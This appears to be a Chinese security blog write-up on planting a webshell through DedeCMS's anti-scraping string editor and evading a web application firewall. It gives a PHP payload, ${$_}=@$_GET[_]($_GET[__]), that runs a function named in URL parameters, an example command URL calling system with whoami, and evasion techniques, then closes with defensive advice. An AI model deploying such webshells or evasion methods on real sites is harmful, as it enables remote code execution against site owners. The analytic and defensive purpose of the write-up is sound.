一次 WebShell 免杀与 WAF 绕过的攻防对抗分析
字数 1114 2025-08-29 08:30:06
WebShell 免杀与 WAF 绕过的攻防对抗分析
前言
本文详细分析了一次针对织梦CMS的WebShell免杀与WAF绕过的攻防对抗过程。通过研究系统功能点、分析WAF防护机制,最终成功构造出能够绕过安全检测的WebShell payload。
漏洞发现过程
1. 功能点定位
在织梦CMS系统中发现"防采集混淆字符串管理"功能,该功能允许编辑文件内容:
- 文件路径:
/dede/article_string_mix.php - 关键点:功能越多潜在漏洞越多
2. 文件写入分析
通过抓包和代码审计发现:
- 文件内容被写入到特定位置
- 通过搜索源代码定位到实际写入路径
- 验证文件可访问性
WAF防护机制分析
1. 基础防护措施
- 命令执行函数被禁止(如
system、exec等) - 全局变量被禁止
- 动态变量调用受限
2. PHP文件模式检测
WAF检测两种PHP文件模式:
<?php标准模式<?=短标签模式
3. 特殊过滤规则
- 禁止回调函数调用
- 防止反引号命令执行
- 过滤
$@someVar($param)等可疑语法
免杀WebShell构造
1. 核心payload
成功绕过的payload示例:
<?php
// 异或和取反操作生成字符
// 核心执行逻辑
${$_}=@$_GET[_]($_GET[__]);
?>
2. Payload解析
-
变量解析:
${$_}等同于$_GET(因为$_的值是'_GET')@用于抑制错误输出
-
参数获取:
$_GET[_]获取URL参数_的值(作为函数名)$_GET[__]获取URL参数__的值(作为函数参数)
-
执行流程:
- 调用
$_GET[_]函数并传递$_GET[__]作为参数 - 等效于:
函数名(参数)
- 调用
3. 命令执行方式
通过URL参数传递执行命令:
http://target/path/to/shell?_=system&__=whoami
_=system:指定执行system函数__=whoami:传递whoami作为命令参数
技术要点总结
-
字符生成技术:
- 使用异或和取反操作生成所需字符
- 绕过字符串直接检测
-
动态调用技术:
- 通过GET参数动态指定函数和参数
- 实现高度灵活的代码执行
-
WAF绕过思路:
- 避免使用被检测的函数名直接出现
- 利用变量解析和动态调用特性
- 使用错误抑制符减少异常暴露
防御建议
-
对管理员功能加强监控
- 限制文件写入权限
- 记录文件修改操作
-
增强WAF规则
- 检测非常规的变量使用方式
- 监控
$_GET等超全局变量的异常使用
-
代码审计重点
- 检查所有用户可控的函数调用
- 验证动态代码执行的安全性
-
系统加固
- 禁用危险函数
- 限制PHP短标签使用
- 定期更新安全防护规则
通过这种深入的攻防分析,我们可以更好地理解WebShell免杀技术和WAF绕过方法,同时也能针对性地加强系统防护。